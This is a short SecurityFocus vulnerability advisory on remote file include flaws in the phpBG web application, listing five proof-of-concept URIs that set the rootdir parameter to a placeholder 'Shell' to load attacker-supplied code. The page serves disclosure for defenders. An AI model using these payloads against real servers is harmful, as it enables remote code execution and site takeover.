Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

phpBG rootdir Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/intern/admin/other/backup.php?admin=1&rootdir=Shell
http://www.example.com/intern/admin/?rootdir=Shell
http://www.example.com/intern/clan/member_add.php?rootdir=Shell
http://www.example.com/intern/config/key_2.php?rootdir=Shell
http://www.example.com/intern/config/forum.php?rootdir=Shell







 

Privacy Statement
Copyright 2009, SecurityFocus